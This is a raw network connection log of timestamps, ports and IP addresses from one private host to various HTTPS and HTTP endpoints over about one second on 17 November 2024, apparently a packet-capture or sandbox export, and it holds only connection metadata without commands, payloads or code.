Nov 17, 2024 22:20:46.018068075 CET	443	60809	142.250.186.33	192.168.2.7
Nov 17, 2024 22:20:46.026626110 CET	443	60836	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.034348011 CET	60836	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.034368038 CET	443	60836	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.034859896 CET	60836	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.034864902 CET	443	60836	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.036412001 CET	443	60837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.037398100 CET	60837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.037436962 CET	443	60837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.037817955 CET	60837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.037826061 CET	443	60837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.040807962 CET	443	60839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.041019917 CET	443	60840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.041479111 CET	60839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.041505098 CET	443	60839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.041940928 CET	60839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.041954041 CET	443	60839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.042192936 CET	60840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.042234898 CET	443	60840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.042540073 CET	60840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.042551041 CET	443	60840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.074153900 CET	443	60829	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:46.123680115 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.123692036 CET	60829	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:46.123718023 CET	443	60829	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:46.126588106 CET	60829	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:46.126621962 CET	60829	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:46.126804113 CET	443	60829	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:46.126842022 CET	443	60829	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:46.126882076 CET	60829	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:46.140873909 CET	443	60835	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:46.141484976 CET	60835	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.141532898 CET	443	60835	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:46.141995907 CET	443	60835	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:46.142602921 CET	60835	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.142695904 CET	443	60835	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:46.145010948 CET	443	60834	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:46.145524025 CET	60834	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.145549059 CET	443	60834	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:46.146799088 CET	443	60834	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:46.147414923 CET	60834	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.147622108 CET	443	60834	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:46.160924911 CET	443	60836	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.161006927 CET	443	60836	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.161166906 CET	60836	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.167855978 CET	443	60837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.168060064 CET	443	60837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.168135881 CET	60837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.169862986 CET	60836	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.169874907 CET	443	60836	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.169910908 CET	60836	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.169915915 CET	443	60836	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.171456099 CET	443	60840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.171601057 CET	443	60840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.171652079 CET	60840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.173019886 CET	443	60839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.173060894 CET	443	60839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.173103094 CET	443	60839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.173110962 CET	60839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.173146009 CET	60839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.173890114 CET	60837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.173913956 CET	443	60837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.173928022 CET	60837	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.173934937 CET	443	60837	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.177206993 CET	60840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.177233934 CET	443	60840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.177249908 CET	60840	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.177256107 CET	443	60840	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.178427935 CET	60839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.178457022 CET	443	60839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.178469896 CET	60839	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.178476095 CET	443	60839	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.180843115 CET	60846	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.180885077 CET	443	60846	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.181061983 CET	60846	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.182286978 CET	60847	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.182374954 CET	443	60847	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.182461023 CET	60847	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.182768106 CET	60846	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.182790995 CET	443	60846	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.183227062 CET	60847	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.183259010 CET	443	60847	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.184568882 CET	60848	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.184611082 CET	443	60848	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.184683084 CET	60848	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.184808016 CET	60848	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.184824944 CET	443	60848	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.185614109 CET	60849	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.185647011 CET	443	60849	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.185830116 CET	60849	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.186284065 CET	60849	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.186301947 CET	443	60849	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.203325987 CET	60850	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:46.203372002 CET	443	60850	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:46.203684092 CET	60850	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:46.203684092 CET	60850	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:46.203721046 CET	443	60850	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:46.217334032 CET	60834	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.217340946 CET	60835	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.232661963 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.237534046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.260238886 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.260265112 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.260273933 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.260298967 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.260324955 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.260338068 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.260348082 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.260356903 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.260366917 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.260380030 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.260386944 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.260407925 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.379417896 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.379429102 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.379456043 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.379465103 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.379482031 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.379491091 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.379534960 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.393351078 CET	60835	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.393398046 CET	60834	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.393488884 CET	443	60834	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:46.393537045 CET	60834	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.393582106 CET	443	60835	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:46.393708944 CET	60835	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.394448042 CET	60816	443	192.168.2.7	18.244.18.27
Nov 17, 2024 22:20:46.394539118 CET	443	60816	18.244.18.27	192.168.2.7
Nov 17, 2024 22:20:46.394566059 CET	60850	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:46.394601107 CET	60816	443	192.168.2.7	18.244.18.27
Nov 17, 2024 22:20:46.394980907 CET	60851	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:46.395019054 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:46.395131111 CET	60851	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:46.395236015 CET	60827	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.395288944 CET	60828	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.395308018 CET	60833	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.395308971 CET	443	60827	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:46.395338058 CET	60832	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.395365000 CET	60827	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.395385027 CET	443	60828	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:46.395391941 CET	443	60833	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:46.395446062 CET	60828	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.395451069 CET	60833	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.395462990 CET	443	60832	172.64.41.3	192.168.2.7
Nov 17, 2024 22:20:46.395551920 CET	60832	443	192.168.2.7	172.64.41.3
Nov 17, 2024 22:20:46.395795107 CET	60851	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:46.395817995 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:46.425194979 CET	443	60845	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.430094004 CET	60845	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.430126905 CET	443	60845	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.432234049 CET	60845	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.432245016 CET	443	60845	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.439336061 CET	443	60850	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:46.498810053 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.498831034 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.498847961 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.498888969 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.498934031 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.498953104 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.498970985 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.498989105 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.499015093 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.499033928 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.499052048 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.499207973 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.513963938 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.513989925 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.514000893 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.514058113 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.514058113 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.514070034 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.514081955 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.514096022 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.514103889 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.514118910 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.514142990 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.514245987 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.514259100 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.514272928 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.514283895 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.514286041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.514301062 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.514319897 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.514812946 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.514852047 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.518898964 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.518912077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.518950939 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.557234049 CET	443	60845	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.557369947 CET	443	60845	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.557471037 CET	60845	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.557764053 CET	60845	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.557789087 CET	443	60845	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.557805061 CET	60845	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.557812929 CET	443	60845	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.562378883 CET	60852	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.562422037 CET	443	60852	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.562503099 CET	60852	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.562710047 CET	60852	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.562727928 CET	443	60852	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.578105927 CET	443	49765	104.98.116.138	192.168.2.7
Nov 17, 2024 22:20:46.578430891 CET	49765	443	192.168.2.7	104.98.116.138
Nov 17, 2024 22:20:46.619400978 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.619422913 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.619476080 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.619493008 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.619510889 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.619534016 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.619554996 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.619570017 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.619606018 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.619654894 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.674384117 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.674411058 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.674422979 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.674467087 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.674479961 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.674491882 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.674488068 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.674539089 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.674539089 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.674556017 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.674833059 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.674886942 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.674890995 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.674904108 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.674918890 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.674928904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.674932003 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.674948931 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.674971104 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.675470114 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.675510883 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.675529957 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.675565958 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.738604069 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.738615036 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.738643885 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.738667011 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.738675117 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.738723993 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.738730907 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.738893032 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.792409897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.792423010 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.792481899 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.792537928 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.792548895 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.792567968 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.792577028 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.792593002 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.792594910 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.792604923 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.792620897 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.792623997 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.792634010 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.792650938 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.792653084 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.792659998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.792674065 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.792690039 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.792720079 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.792924881 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.792972088 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.793004036 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.793051958 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.832937956 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.832952023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.832969904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.833017111 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.833051920 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.837754965 CET	60853	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.837848902 CET	443	60853	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.837970018 CET	60853	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.838280916 CET	60853	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.838315964 CET	443	60853	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.857954979 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.857985973 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.858066082 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.858082056 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.858117104 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.858136892 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.907145977 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.907193899 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.907210112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.907234907 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.907238960 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.907258034 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.907258987 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.907315969 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.907529116 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.907583952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.907594919 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.907635927 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.907876968 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.907938004 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.907944918 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.907957077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.907979012 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.907990932 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.907994986 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.908025980 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.919663906 CET	443	60848	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.922616005 CET	60848	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.922688007 CET	443	60848	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.923265934 CET	60848	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.923274040 CET	443	60848	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.924837112 CET	443	60846	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.925369024 CET	60846	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.925410032 CET	443	60846	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.925820112 CET	60846	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.925827980 CET	443	60846	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.927980900 CET	443	60849	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.928535938 CET	60849	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.928556919 CET	443	60849	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.929271936 CET	60849	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.929275990 CET	443	60849	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.933878899 CET	443	60847	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.934312105 CET	60847	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.934365034 CET	443	60847	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.934956074 CET	60847	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:46.934972048 CET	443	60847	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:46.949667931 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.949702024 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.949721098 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:46.949749947 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.949767113 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:46.958945036 CET	443	60850	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:46.959017038 CET	60850	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:46.977399111 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.977428913 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.977490902 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.977507114 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:46.977538109 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:46.977557898 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.023638964 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.023652077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.023700953 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.023737907 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.023848057 CET	80	60797	185.215.113.206	192.168.2.7
